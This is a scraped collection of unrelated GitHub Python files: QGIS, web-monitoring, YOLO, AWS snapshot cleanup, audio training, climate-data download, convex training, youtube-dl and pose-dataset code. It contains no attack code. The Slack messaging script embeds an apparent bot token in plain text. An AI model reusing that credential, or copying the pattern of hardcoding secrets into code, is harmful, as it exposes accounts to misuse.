dy=dist*math.sin(Alfa)\n xp=x1-dx\n yp=y1-dy\n pto1_est=QgsPoint(xp,yp)\n newGeo=QgsGeometry.fromPolyline([pto1_est,pto2])\n return newGeo\n def PreenchePVJ(self, vLayer):\n #proj = QgsProject.instance()\n #vLayer=iface.activeLayer()\n tol=0.5 #tolerancia 0.5 unidades de distancia \n vLayer.startEditing()\n for upfeat in vLayer.getFeatures():\n #get up reach list of nodes\n nodes = upfeat.geometry().asPolyline()\n #get up end node downstream\n up_end_node = nodes[-1]\n rectangle = QgsRectangle(up_end_node.x() - tol, up_end_node.y() - tol, up_end_node.x() + tol, up_end_node.y() + tol)\n request = QgsFeatureRequest().setFilterRect(rectangle)\n downfeats = vLayer.getFeatures(request)\n # start nodes into tolerance \n n_start_node=0\n for downfeat in downfeats:\n #get list of nodes\n nodes = downfeat.geometry().asPolyline()\n #get start node downstream\n down_start_node = nodes[0]\n #setup distance\n distance = QgsDistanceArea()\n #get distance from up_end_node to down_start_node\n dist = distance.measureLine(up_end_node, down_start_node)\n if dist < tol:\n n_start_node+=1\n downPVM=downfeat['PVM']\n if n_start_node>0:\n upfeat['PVJ']=downPVM\n #QMessageBox.warning(None,'QEsg','Mais de uma saida no PV='+downPVM)\n else:\n upfeat['PVJ']='FIM'\n vLayer.updateFeature(upfeat)\n\n\n","repo_name":"jorgealmerio/QEsg","sub_path":"core/QEsg_20Sancad.py","file_name":"QEsg_20Sancad.py","file_ext":"py","file_size_in_byte":9558,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"60"} +{"seq_id":"70852410112","text":"import requests\nimport hashlib\nimport time\nimport os\nfrom pystyle import Write, Colors, Colorate, Center\n\nbanner = \"\"\"\n\n\n\n ███╗ ███╗ ██████╗ ███╗ ██╗█���╗████████╗ ██████╗ ██████╗ \n ████╗ ████║██╔═══██╗████╗ ██║██║╚══██╔══╝██╔═══██╗██╔══██╗\n ██╔████╔██║██║ ██║██╔██╗ ██║██║ ██║ ██║ ██║██████╔╝\n ██║╚██╔╝██║██║ ██║██║╚██╗██║██║ ██║ ██║ ██║██╔══██╗\n ██║ ╚═╝ ██║╚██████╔╝██║ ╚████║██║ ██║ ╚██████╔╝██║ ██║\n ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝\n \n by t.me/EmpereurMiro\n\n\n\n\"\"\"\n\nos.system(\"mode 130,40\")\nos.system(\"title Simple Monitor / t.me/EmpereurMiro\")\nos.system(\"cls\")\n\nprint(Center.XCenter(Colorate.Vertical(Colors.green_to_yellow, banner, 1)))\n\nurl = Write.Input(\"[?] Target URL >>> \", Colors.green_to_yellow, interval=0.0025)\nwebhook_url = \"Webhook Link\" \ntime.sleep(1.2)\nos.system(\"cls\")\n \n\n\ndef check_website_update(url, webhook_url):\n response = requests.get(url)\n html = response.text\n\n hash = hashlib.sha256(html.encode('utf-8')).hexdigest()\n previous_hash = hash\n\n while True:\n response = requests.get(url)\n html = response.text\n\n hash = hashlib.sha256(html.encode('utf-8')).hexdigest()\n if hash != previous_hash:\n data = {\n \"content\": \"Le site {} a été modifié !\".format(url)\n }\n requests.post(webhook_url, json=data)\n print(\"[!] Site modifié\")\n\n previous_hash = hash\n\n time.sleep(30)\n\ncheck_website_update(url, webhook_url)\n","repo_name":"EmpereurMiro/Simple-Monitor","sub_path":"monitor.py","file_name":"monitor.py","file_ext":"py","file_size_in_byte":2392,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"21100504112","text":"import torch\nfrom ultralytics import YOLO\n\nOBJ_LIST = ['person', 'car', 'bus', 'truck', 'bicycle', 'motorbike']\nDETECTOR_PATH = 'weights/hauptmensa_1.pt' # yolov8s, yolov8n, yolov8m, yolov8l, yolov8x, hauptmensa_1\n\nclass baseDet(object):\n def __init__(self):\n self.img_size = 640\n self.conf = 0.25\n self.iou = 0.70\n\n def init_model(self):\n raise EOFError(\"Undefined model type.\")\n\n def preprocess(self):\n raise EOFError(\"Undefined model type.\")\n\n def detect(self):\n raise EOFError(\"Undefined model type.\")\n\n\nclass Detector(baseDet):\n def __init__(self):\n super(Detector, self).__init__()\n self.init_model()\n\n def init_model(self):\n self.weights = DETECTOR_PATH\n self.device = 0 if torch.cuda.is_available() else 'cpu'\n self.model = YOLO(self.weights)\n self.m = self.model\n self.names = self.model.module.names if hasattr(self.model, 'module') else self.model.names\n\n def detect(self, im):\n res = self.model.predict(im, imgsz=self.img_size, conf=self.conf,\n iou=self.iou, device=self.device)\n \n detected_boxes = res[0].boxes\n pred_boxes = []\n for box in detected_boxes:\n xyxy = box.xyxy.cpu() \n #print(xyxy)\n confidence = box.conf.cpu() \n class_id = box.cls # get the class id\n class_id_cpu = class_id.cpu() # move the value to CPU\n class_id_int = int(class_id_cpu.item()) # convert to integer\n lbl = self.names[class_id_int]\n if not lbl in OBJ_LIST:\n continue\n x1, y1, x2, y2 = xyxy[0].numpy()\n pred_boxes.append(\n (x1, y1, x2, y2, lbl, confidence))\n return im, pred_boxes\n\n","repo_name":"GithubSherlock/GeneratingTrajectoriesViaMOT","sub_path":"yolov8-deepsort/objdetector.py","file_name":"objdetector.py","file_ext":"py","file_size_in_byte":1820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"21420643634","text":"from datetime import datetime, timedelta\nfrom dateutil import tz\nimport boto3\nimport botocore\nimport pytz\n\nutc = pytz.UTC\n\nclass SnapshotsHandler(object):\n def __init__(self, config):\n self._config = config\n self.ec2 = boto3.resource('ec2', region_name=self._config.AWS_REGION)\n\n def _get_all_snapshots(self):\n return self.ec2.snapshots.filter(\n Filters=[\n {\n 'Name': 'description',\n 'Values': [\n 'Created by CreateImage(' +\n self._config.INSTANCE_ID + ') for ami-*'\n ]\n }\n ]\n )\n\n def delete_snapshots(self):\n snapshots = list(self._get_all_snapshots())\n if snapshots:\n self._delete_snapshot_days(snapshots)\n\n def _delete_snapshot_days(self, snapshots):\n if len(snapshots) > self._config.BACKUP_RETENTION_IN_DAYS:\n sorted_snapshots = sorted(snapshots, key=lambda snapshot: snapshot.start_time)\n\n delete_date_start = datetime.utcnow() - timedelta(days=self._config.BACKUP_RETENTION_IN_DAYS)\n #delete_date_start = utc.localize(delete_date_start)\n delete_date_start_utc = delete_date_start.replace(tzinfo=tz.tzutc(), microsecond=0)\n \n for snapshot in sorted_snapshots[:-self._config.BACKUP_RETENTION_IN_DAYS]: #keep number of snapshots based from number in BACKUP_RETENTION_IN_DAYS\n snapshot_copy = snapshot\n if snapshot_copy.start_time.replace(microsecond=0).date() <= delete_date_start_utc.date(): #delete snapshots that are beyond BACKUP_RETENTION_IN_DAYS days old\n self._delete_snapshot(snapshot)\n\n def _delete_snapshot(self, snapshot):\n try: \n snapshot_id = snapshot.id\n snapshot_start_time = snapshot.start_time\n snapshot.delete(DryRun=False)\n print(\n 'deleted a snapshot: ' \n 'id: {}, ' \n 'date created (UTC): {}'.format(\n snapshot_id, \n snapshot_start_time\n )\n )\n except botocore.exceptions.ClientError as e:\n if e.response['Error']['Code'] == 'InvalidSnapshot.InUse':\n print (str(e))\n else:\n raise e\n","repo_name":"olanamramoj2/aws-asg-manager","sub_path":"snapshots_handler/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"34355269297","text":"import torch\ntorch.set_num_threads(1)\n\nimport torchaudio\nimport torch.nn as nn\nimport torch.utils.data as data\n\nimport numpy as np\nfrom time import time\nfrom datetime import datetime\nfrom argparse import ArgumentParser\nimport logging\nimport copy\n\nfrom data import *\nfrom models import *\nfrom se_kd_utils import *\nfrom utils import *\n \ndef parse_arguments():\n parser = ArgumentParser()\n parser.add_argument(\"-b\", \"--batch_size\", type=int, default=100)\n parser.add_argument(\"-e\", \"--tot_epoch\", type=int, default=10)\n parser.add_argument(\"-r\", \"--G_num_layers\", type=int, default=-1)\n parser.add_argument(\"-g\", \"--G_hidden_size\", type=int, default=-1)\n \n parser.add_argument(\"--data_dir\", type=str, default=\"/home/kimsunw/data/\")\n parser.add_argument(\"--save_dir\", type=str, default=\"~/pretraining/\")\n \n parser.add_argument(\"--load_SEmodel\", type=str, default=None)\n parser.add_argument(\"--load_SErundata\", type=str, default=None)\n \n parser.add_argument(\"--snr_ranges\", nargs='+', type=int, \n default=[-5,10])\n \n parser.add_argument(\"--device\", type=int, default=1)\n parser.add_argument(\"--seed\", type=int, default=0)\n\n parser.add_argument(\"--print_every\", type=int, default=50)\n parser.add_argument(\"--validate_every\", type=int, default=2)\n \n parser.add_argument(\"--eps\", type=float, default=1e-5)\n parser.add_argument(\"--sr\", type=int, default=16000)\n parser.add_argument(\"--duration\", type=int, default=2)\n parser.add_argument(\"--learning_rate\", type=float, default=1e-4)\n parser.add_argument(\"--fft_size\", type=int, default=1024)\n parser.add_argument(\"--hop_size\", type=int, default=256)\n \n parser.add_argument('--is_ctn', action='store_true') \n parser.add_argument('--is_dprnn', action='store_true')\n parser.add_argument('--is_save', action='store_true')\n \n parser.add_argument('--no_skip_chan', action='store_true') \n parser.add_argument('--is_mse', action='store_true')\n \n parser.add_argument(\"--nreps\", type=int, default=3)\n parser.add_argument(\"--nblks\", type=int, default=8)\n \n return parser.parse_args()\n \nargs = parse_arguments()\nargs.n_frames = args.sr * args.duration\nargs.stft_features = int(args.fft_size//2+1)\nargs.stft_frames = int(np.ceil(args.n_frames/args.hop_size))\neps = args.eps\n\nos.environ[\"CUDA_DEVICE_ORDER\"]=\"PCI_BUS_ID\"\nos.environ[\"CUDA_VISIBLE_DEVICES\"]=str(args.device)\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' \nargs.device = 0\nall_seed(args.seed)\n\nt_stamp = '{0:%m%d%H%M}'.format(datetime.now())\noutput_directory = \"{}/expr{}_G{}x{}_lr{:.0e}_bs{}_ctn{}rep{}blk{}_nosk{}_mse{}_nfrms{}_GPU{}\".format(\n args.save_dir, t_stamp, args.G_num_layers, args.G_hidden_size, \n args.learning_rate, args.batch_size, args.is_ctn, args.nreps, args.nblks, args.no_skip_chan, args.is_mse,\n args.n_frames, args.device)\n\nhandlers = None\nif args.is_save:\n os.makedirs(output_directory, exist_ok=True)\n print(\"Created dir {}\".format(output_directory))\n handlers = [\n logging.FileHandler(\n os.path.join(output_directory, \"training.log\")),\n logging.StreamHandler(),\n ]\n\nlogging.basicConfig(\n level=logging.INFO,\n format='%(asctime)s [PID %(process)d] %(message)s',\n datefmt='%Y-%m-%d %H:%M:%S',\n handlers=handlers,\n )\n\ntr_speech_ds = torchaudio.datasets.LIBRISPEECH(\n \"{}/\".format(args.data_dir), url=\"train-clean-100\", download=True)\nva_speech_ds = torchaudio.datasets.LIBRISPEECH(\n \"{}/\".format(args.data_dir), url=\"dev-clean\", download=True)\n\ntr_noise_ds = musan_train_prep_dataset(\n '{}/musan/noise/free-sound'.format(args.data_dir))\nva_noise_ds = musan_train_prep_dataset(\n '{}/musan/noise/free-sound-va'.format(args.data_dir))\n\nkwargs = {'num_workers': 0, 'pin_memory': True, 'drop_last': True}\ntr_speech_dataloader = data.DataLoader(dataset=tr_speech_ds,\n batch_size=args.batch_size,\n shuffle=True,\n collate_fn= lambda x: data_processing(x, args.n_frames, \"speech\"),\n **kwargs)\nva_speech_dataloader = data.DataLoader(dataset=va_speech_ds,\n batch_size=args.batch_size,\n shuffle=False,\n collate_fn= lambda x: data_processing(x, args.n_frames, \"speech\"),\n **kwargs)\n\ntr_noise_dataloader = data.DataLoader(dataset=tr_noise_ds,\n batch_size=args.batch_size,\n shuffle=True,\n collate_fn= lambda x: data_processing(x, args.n_frames, \"noise\"),\n **kwargs)\nva_noise_dataloader = data.DataLoader(dataset=va_noise_ds,\n batch_size=args.batch_size,\n shuffle=True,\n collate_fn= lambda x: data_processing(x, args.n_frames, \"noise\"),\n **kwargs)\n\n# Init generator\nif args.is_ctn:\n from asteroid.models import ConvTasNet\n if args.no_skip_chan:\n G_model = ConvTasNet(n_src=1, n_repeats=args.nreps, n_blocks=args.nblks, skip_chan=None).cuda()\n else:\n G_model = ConvTasNet(n_src=1, n_repeats=args.nreps, n_blocks=args.nblks).cuda()\nelif args.is_dprnn: \n from asteroid.models import DPRNNTasNet\n G_model = DPRNNTasNet(n_src=1, n_repeats=args.nreps).cuda()\nelse:\n G_model = SpeechEnhancementModel(\n args.G_hidden_size, args.G_num_layers, args.stft_features)\nG_model = G_model.to(args.device)\nG_optimizer = torch.optim.Adam(\n params=G_model.parameters(), lr=args.learning_rate)\n\n# TODO: Change name to include G\nload_epoch = 0\nbest_impr = 0.\ntr_losses = []\nva_losses = []\nif args.load_SEmodel: \n load_model(G_model, args.load_SEmodel)\n if args.load_SErundata:\n load_SErundata = load_rundata(args.load_SErundata)\n load_epoch = load_SErundata['epoch'] \n# print (load_SErundata)\n best_impr = load_SErundata['sisdr'] \n tr_losses = load_SErundata['tr_losses']\n va_losses = load_SErundata['va_losses']\n \n logging.info (\n \"Loaded Model at Epoch {} with eval loss: {:.3f} SI-SDRi\".format(\n load_epoch, best_impr))\n \n# Train Generator\nlogging.info(\"Started training SE\")\nfor epoch in range(load_epoch, args.tot_epoch+load_epoch):\n G_model.train()\n tr_toc = time()\n if args.is_ctn or args.is_dprnn:\n tr_loss_ep = run_se_ctn(\n args, G_model, tr_speech_dataloader, tr_noise_dataloader, \n is_train=True, optimizer=G_optimizer)\n else:\n tr_loss_ep = run_se(\n args, G_model, tr_speech_dataloader, tr_noise_dataloader, \n is_train=True, optimizer=G_optimizer)\n tr_losses.append(tr_loss_ep)\n tr_tic = time()\n\n logging.info (\"Ep {} Train. Loss: {:.3f} SI-SDRi, Time: {:.2f}s\".format(\n epoch, tr_loss_ep, tr_tic-tr_toc))\n\n if (epoch % args.validate_every) == 0: \n G_model.eval()\n va_toc = time()\n with torch.no_grad():\n if args.is_ctn or args.is_dprnn:\n va_loss_ep = run_se_ctn(\n args, G_model, va_speech_dataloader, va_noise_dataloader, \n is_train=False)\n else:\n va_loss_ep = run_se(\n args, G_model, va_speech_dataloader, va_noise_dataloader, \n is_train=False)\n va_losses.append(va_loss_ep)\n\n va_tic = time()\n\n logging.info (\"Ep {} Eval. Loss: {:.3f} SI-SDRi, Time: {:.2f}s\".format(\n epoch, va_loss_ep, va_tic-va_toc))\n\n logging.info(\"Best impr: {:.3f}\".format(va_loss_ep))\n prev_best_impr = copy.deepcopy(best_impr)\n best_impr = va_loss_ep\n rundata = {\"epoch\": epoch, \"sisdr\": best_impr, \n \"tr_losses\": tr_losses, \"va_losses\": va_losses}\n \n if args.is_save:\n if best_impr < prev_best_impr:\n save_model(G_model, output_directory, rundata)\n save_model(G_model, output_directory, rundata, is_last=True)\n\nlogging.info(\"Finished training SE\")\nrundata = {\"epoch\": epoch, \"sisdr\": best_impr, \n \"tr_losses\": tr_losses, \"va_losses\": va_losses}\nif args.is_save:\n save_model(G_model, output_directory, rundata, is_last=True)\n","repo_name":"kimsunwiub/BLOOM-Net","sub_path":"e2e_train.py","file_name":"e2e_train.py","file_ext":"py","file_size_in_byte":7993,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"60"} +{"seq_id":"3464861520","text":"import cdsapi\nimport sys\nc = cdsapi.Client()\n\npathin =sys.argv[1] ; print('Path IN : ' + pathin)\ndate = sys.argv[2] ; print('Date : ' + date)\ngribfile = pathin + '/ERA5.sf.'+ date[0:8] + '.grib' ; print('GribFile : '+ gribfile)\n# date= 20200710\nyear = date[0:4] ; print('Year : ' + year)\nmon = date[4:6] ; print('Month: ' + mon)\nday = date[6:8] ; print('Day : ' + day)\n#hour = date[9:11]+':00'; print('Hour : ' + hour)\nhour = '00:00' ; print('Hour : ' + hour)\nprint('Daily Data , do not use Hour ')\n\nc.retrieve(\n 'reanalysis-era5-single-levels',\n{\n 'product_type':'reanalysis',\n 'format':'grib',\n 'variable':[\n 'sea_surface_temperature', 'skin_temperature','sea_ice_cover',\n ],\n 'year':str(year),\n 'month':str(mon),\n 'day':str(day),\n 'time':str(hour)\n# ['00:00','06:00','12:00','18:00']\n},\ngribfile)\n","repo_name":"GRIST-Dev/Data","sub_path":"init_post_amipw/generate_from_ERA5/sstsic/get_era5_sstsic_MCS.py","file_name":"get_era5_sstsic_MCS.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"18493041314","text":"# Unofficial implementation of convex neural network training\n# Yatong Bai\n# October 24th, 2022\n# Requires numpy, cvxpy, mosek\n\n\nimport numpy as np\nfrom numpy.linalg import norm\nfrom numpy.random import randn\nimport cvxpy as cp\nimport mosek\n\n\ndef relu_prime(z):\n \"\"\"\n Returns the derivative of the ReLU activation function\n \"\"\"\n return (z >= 0).astype(int)\n\n\ndef generate_D(X, P, v=-1, w=-1, verbose=False):\n \"\"\"\n Generates the D_i matrices required for convex training.\n\n :param X: Training data with dimension (n, d).\n :param P: Number of sampled hyperplanes.\n :param v: The weights being used to generate the D_i matrices (hyperplane arrangements).\n If -1, then use random weights. Default: -1.\n :param w: The weights being used to generate the D_i matrices (hyperplane arrangements).\n If -1, then use random weights. Default: -1.\n :param verbose: If true, intermediate check results will be printed.\n\n :return: dmat, n, d, P, v, w\n \"\"\"\n (n, d) = X.shape\n X = X.astype(np.float32)\n if w == -1 and v == -1:\n v = randn(d, P).astype(np.float32)\n dmat, ind = np.unique(relu_prime(X @ v), axis=1, return_index=True)\n v = v[:, ind]\n if verbose:\n print((2 * dmat-1) * (X @ v) >= 0)\n else:\n P = v.shape[1]\n dmat1 = relu_prime(X @ v)\n dmat2 = relu_prime(X @ w)\n dmat = np.concatenate([dmat1, dmat2], axis=1)\n temp, ind = np.unique(dmat, axis=1, return_index=True)\n ind1 = ind[ind < P]\n ind2 = ind[ind >= P] - P\n dmat = dmat[:, np.concatenate([ind1, ind2+P])]\n wnew = w[:, ind2]\n v, w = v[:, ind1], w[:, ind1]\n w[:, ind2] = np.zeros([d, ind2.size])\n w = np.concatenate([w, wnew], axis=1)\n v = np.concatenate([v, np.zeros([d, ind2.size])], axis=1)\n if verbose:\n print((2 * dmat - 1) * (X @ v) >= 0)\n print((2 * dmat - 1) * (X @ w) >= 0)\n return dmat, n, d, dmat.shape[1], v, w\n\n\ndef recover_weights(v, w, verbose=False):\n \"\"\"\n Recovers u, alpha from v, w.\n :param v: The first set of optimizers returned by CVX.\n :param w: The second set of optimizers returned by CVX.\n :param verbose: if True, print u and alpha.\n :return: u and alpha, where u and alpha are the first and second layer weights.\n \"\"\"\n alpha1 = np.sqrt(norm(v, 2, axis=0))\n mask1 = alpha1 != 0\n u1 = v[:, mask1] / alpha1[mask1]\n alpha2 = -np.sqrt(norm(w, 2, axis=0))\n mask2 = alpha2 != 0\n u2 = -w[:, mask2] / alpha2[mask2]\n u = np.append(u1, u2, axis=1)\n alpha = np.append(alpha1[mask1], alpha2[mask2])\n\n if verbose:\n print(u, alpha)\n return u, alpha\n\n\ndef nnfit_cvx(X, y, P, beta=1e-4, dmat=-1, solver=cp.MOSEK, loss_type='mse', verbose=True):\n \"\"\"\n Performs convex training of one-hidden-layer neural networks.\n\n :param X: Training data with dimension (n, d).\n :param y: Training targets with dimension (n,).\n :param P: Number of sampled hyperplanes.\n :param beta: The regularization strength. Default is 1e-4.\n :param dmat: The D_i matrices. If -1, then randomly generate. Default is -1.\n :param solver: Specifies the CVX solver. Default is MOSEK.\n :param loss_type: The loss function type. Must be either 'mse' or 'bce'. Default is 'mse'\n Note that convex training applies to all convex loss functions.\n :param verbose: If true, the status of the solver will be displayed.\n\n :return: v_star, w_star, optimal_objective, d_matrices,\n where v_star and w_star are the optimal weights.\n \"\"\"\n\n print('Generating D matrices...')\n if dmat == -1:\n dmat, n, d, P, v, w = generate_D(X, P)\n else:\n (n, d), (_, P) = X.shape, dmat.shape\n emat = 2 * dmat - np.ones((n, P))\n\n # Optimal CVX\n print('Building CVX problem...')\n uopt1 = cp.Variable((d, P))\n uopt2 = cp.Variable((d, P))\n\n yhat = cp.sum(cp.multiply(dmat, (X @ (uopt1 - uopt2))), axis=1)\n if loss_type == 'mse': # Squared loss\n cost = cp.sum_squares(yhat - y) / 2 + \\\n beta * cp.mixed_norm(uopt1.T, 2, 1) + beta * cp.mixed_norm(uopt2.T, 2, 1)\n elif loss_type == 'bce': # Binary cross entropy\n cost = cp.sum(cp.logistic(2 * yhat) - 2 * cp.multiply(y, yhat)) + \\\n beta * cp.mixed_norm(uopt1.T, 2, 1) + beta * cp.mixed_norm(uopt2.T, 2, 1)\n else:\n raise ValueError(\"Unknown loss function.\")\n constraints = [cp.multiply(emat, (X @ uopt1)) >= 0]\n constraints += [cp.multiply(emat, (X @ uopt2)) >= 0]\n\n print('Solving CVX problem...')\n prob = cp.Problem(cp.Minimize(cost), constraints)\n prob.solve(solver=solver, verbose=verbose)\n\n print(\"\\nTotal cost: \", prob.value)\n return uopt1.value, uopt2.value, prob.value, dmat\n","repo_name":"Bai-YT/Convex-NN-Training","sub_path":"mosek_convex_training.py","file_name":"mosek_convex_training.py","file_ext":"py","file_size_in_byte":4927,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"15272433436","text":"from datetime import datetime\nfrom os import system\n\n\ndef get_interval(string: str, milliseconds: int, clear: bool) -> None:\n if clear:\n system('cls')\n\n print('- Clock = {}' .format(datetime.now().strftime('%H:%M:%S:%f'))[:-2])\n print('- Cron. = {}.{:04}' .format(string, milliseconds))\n print()","repo_name":"gustavomarquezinho/python-cronometer","sub_path":"cronometer/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"41823747724","text":"import youtube_dl\nfrom pathlib import Path\nimport os\nfrom urllib.parse import urlsplit\n\n\n# Used to download and convert YouTube videos\n\ndef yt_download(link, account):\n home = str(Path.home())\n user = str(account)\n out_path = os.path.join(home, 'Users', user, 'Downloads', '%(title)s.%(ext)s')\n\n cookie_file = os.path.join(home, 'Cookies', 'cookies.txt')\n\n # Create archive if a playlist link\n if \"playlist\" in link:\n parse_result = urlsplit(link)\n query = parse_result.query\n archive_path = os.path.join(home, 'Users', user, 'Downloads', 'Archives', query)\n if not os.path.exists(archive_path):\n os.makedirs(archive_path)\n\n archive_file = os.path.join(home, 'Users', user, 'Downloads', 'Archives', query, 'archive.txt')\n\n download_options = {\n 'cachedir': 'False',\n 'format': 'bestaudio/best',\n 'outtmpl': out_path,\n 'nocheckcertificate': True,\n 'download_archive': archive_file,\n 'cookiefile': cookie_file,\n 'postprocessors': [{\n 'key': 'FFmpegExtractAudio',\n 'preferredcodec': 'mp3',\n 'preferredquality': '192',\n }]\n }\n\n else:\n download_options = {\n 'cachedir': 'False',\n 'format': 'bestaudio/best',\n 'outtmpl': out_path,\n 'nocheckcertificate': True,\n 'cookiefile': cookie_file,\n 'postprocessors': [{\n 'key': 'FFmpegExtractAudio',\n 'preferredcodec': 'mp3',\n 'preferredquality': '192',\n }]\n }\n\n with youtube_dl.YoutubeDL(download_options) as dl:\n dl.download([link])\n","repo_name":"shadowstriker15/Online_Ripper","sub_path":"RipperProject/RipperApp/download.py","file_name":"download.py","file_ext":"py","file_size_in_byte":1729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"70824218430","text":"import requests\nimport json\n\nslack_baseUrl = \"https://slack.com/api/\"\nemail_to_lookup = \"pradipta.sanyal@generac.com\"\nslack_lookup_url = slack_baseUrl + \"users.lookupByEmail?email=\" + email_to_lookup\nslack_bot_token = \"Bearer xoxb-2936479164-2759427076709-dhgsdyabvdghrig0Qlw\"\n\n\npayload = \"\"\nlookup_headers = {\"Authorization\": slack_bot_token}\n\n# Retrieve Slack User Id from Email\nresponse = requests.request(\n \"GET\", slack_lookup_url, headers=lookup_headers, data=payload\n)\nprint(response.text)\n\nslack_lookup_response = json.loads(response.text)\nslack_user_id = slack_lookup_response[\"user\"][\"id\"]\nprint(\"Slack User Id: \" + slack_user_id)\n\n# Send Slack Message\n\nslack_dm_url = (\n slack_baseUrl\n + \"chat.postMessage?channel=\"\n + slack_user_id\n + \"&text=Hello! Your AWS Credentials have been rotated.&as_user=true\"\n)\npayload = {}\ndm_headers = {\"Accept\": \"application/json\", \"Authorization\": slack_bot_token}\n\nslack_dm_response = requests.request(\n \"POST\", slack_dm_url, headers=dm_headers, data=payload\n)\n\nprint(slack_dm_response.text)\n","repo_name":"deepaksadde/AWS-Lambda-Python-code","sub_path":"slackmessagenew.py","file_name":"slackmessagenew.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"31697549389","text":"#! /usr/bin/env python3.7\n\nfrom modules.commands.helpers import get_diff_ratio\n\nHELP_TEXT = [\"!leaderboard \", \"Attempts to find game on speedrun.com if provided, or searches the channels game.\"]\n\n\ndef call(salty_inst, c_msg, **kwargs):\n msg_split = c_msg[\"message\"].split(\" \", 1)\n try:\n game = msg_split[1]\n twitch_game = False\n except IndexError:\n game = salty_inst.game\n twitch_game = True\n success, response = salty_inst.sr_com_api.get_games({\"name\" : game}, **kwargs)\n\n if not success:\n return False, \\\n \"Error retrieving info from speedrun.com ({0})\".format(response.status_code)\n\n for i in response[\"data\"]:\n if twitch_game:\n if i[\"names\"][\"international\"].lower() == game.lower():\n game_record = i\n break\n else:\n if get_diff_ratio.diff_ratio(game.lower(), i[\"names\"][\"international\"].lower()) > .8:\n game_record = i\n break\n elif i[\"abbreviation\"].lower() == game.lower():\n game_record = i\n break\n else:\n return False, \"Could not find a suitable game match for {0}.\".format(game)\n\n return True, game_record[\"weblink\"]\n\n\ndef test(salty_inst, c_msg, **kwargs):\n assert True\n","repo_name":"BatedUrGonnaDie/salty_bot","sub_path":"modules/commands/leaderboard.py","file_name":"leaderboard.py","file_ext":"py","file_size_in_byte":1302,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"60"} +{"seq_id":"39161930768","text":"from pathlib import Path\n\nimport torch\nimport numpy as np\nfrom scipy.spatial.transform import Rotation as R\n\nfrom characteristic3dposes.data import grab\nfrom characteristic3dposes.data.grab.constants import PHASE_SUBJECTS\n\n\ndef make_one_hot(idx: int, size: int) -> np.array:\n \"\"\"\n Creates a 1D vector filled with zeros with given size and a one at given idx\n\n :param idx: Where to place the one\n :param size: 1D size of the vector\n :return: 1D vector filled with zeros with given size and a one at given idx\n \"\"\"\n\n vec = np.zeros(shape=[size])\n vec[idx] = 1\n return vec\n\n\nclass GRABCharacteristicPoseDataset(torch.utils.data.Dataset):\n def __init__(self, phase, conf, input_start=None):\n \"\"\"\n Characteristic Pose dataset, built on top of GRAB\n\n :param phase: The experiment phase: train, val, test. Affects: sample ids, augmentation, input starting time\n :param conf: The configuration for \"data\" (see config.yaml)\n :param input_start: The start of the input sequence, in text: ['contact', 'charpose', 'random', 'middle', 'onethird', 'twothirds']\n \"\"\"\n\n super().__init__()\n\n # Assignments\n self.conf = conf\n self.phase = phase\n self.input_start = input_start if input_start is not None else conf.input_start\n\n # Assertions\n assert Path(conf.file).is_file()\n assert conf.type == 'grab'\n assert self.phase in ['train', 'val', 'test']\n assert self.input_start in ['contact', 'charpose', 'random', 'middle', 'onethird', 'twothirds']\n\n # Select sample IDs\n self.sample_ids = grab.sample_ids_for_subjects(PHASE_SUBJECTS[phase])\n\n # Loading actual data\n self.pose_sequences = np.load(self.conf.file, allow_pickle=True)['pose_sequences'].item()\n self.charpose_indices = np.load(self.conf.file, allow_pickle=True)['charpose_indices'].item()\n\n print(f\"[GRABCharacteristicPoseDataset] Loaded {len(self.sample_ids)} unique sample IDs from dataset, will multiply by {self.conf.multiplicator}\")\n self.sample_ids *= self.conf.multiplicator\n\n def __len__(self):\n return len(self.sample_ids)\n\n def __getitem__(self, index):\n # Get sample id\n sample_id = self.sample_ids[index]\n subject, action_id = grab.split_sample_id(sample_id)\n\n # Load data for this sample id\n pose_sequence = self.pose_sequences[subject][action_id]\n charpose_indices = self.charpose_indices[subject][action_id]\n\n # Frame definitions\n num_input_frames = 10\n frames_per_pose_input = 120 // 30\n contact_frame_idx = charpose_indices[1]\n charpose_frame_idx = charpose_indices[2]\n\n # Input sequence frame\n num_possible_shifts = (charpose_frame_idx - contact_frame_idx) // frames_per_pose_input - num_input_frames\n if self.input_start == 'contact':\n input_start = 0\n elif self.input_start == 'charpose':\n input_start = max(0, num_possible_shifts)\n elif self.input_start == 'random' and self.phase == 'train':\n input_start = np.random.choice(list(range(max(1, num_possible_shifts))), size=[1], replace=True)\n elif self.input_start == 'middle' or self.phase == 'val':\n input_start = max(0, num_possible_shifts // 2)\n elif self.input_start == 'onethird':\n input_start = max(0, num_possible_shifts // 3)\n elif self.input_start == 'twothirds':\n input_start = max(0, (num_possible_shifts // 3) * 2)\n else:\n raise ValueError\n\n # Preparing input and target sequences\n seq = pose_sequence - pose_sequence[:, [8]]\n input_frames = np.arange(contact_frame_idx + input_start * frames_per_pose_input, contact_frame_idx + (input_start + num_input_frames) * frames_per_pose_input, frames_per_pose_input)\n target_frames = [charpose_frame_idx]\n input_skeletons = np.stack([seq[frame] for frame in input_frames])\n target_skeleton = np.stack([seq[frame] for frame in target_frames])\n\n # Rotational augmentation around z axis\n if self.phase == 'train' and self.conf.augmentation_angle > 0:\n r = 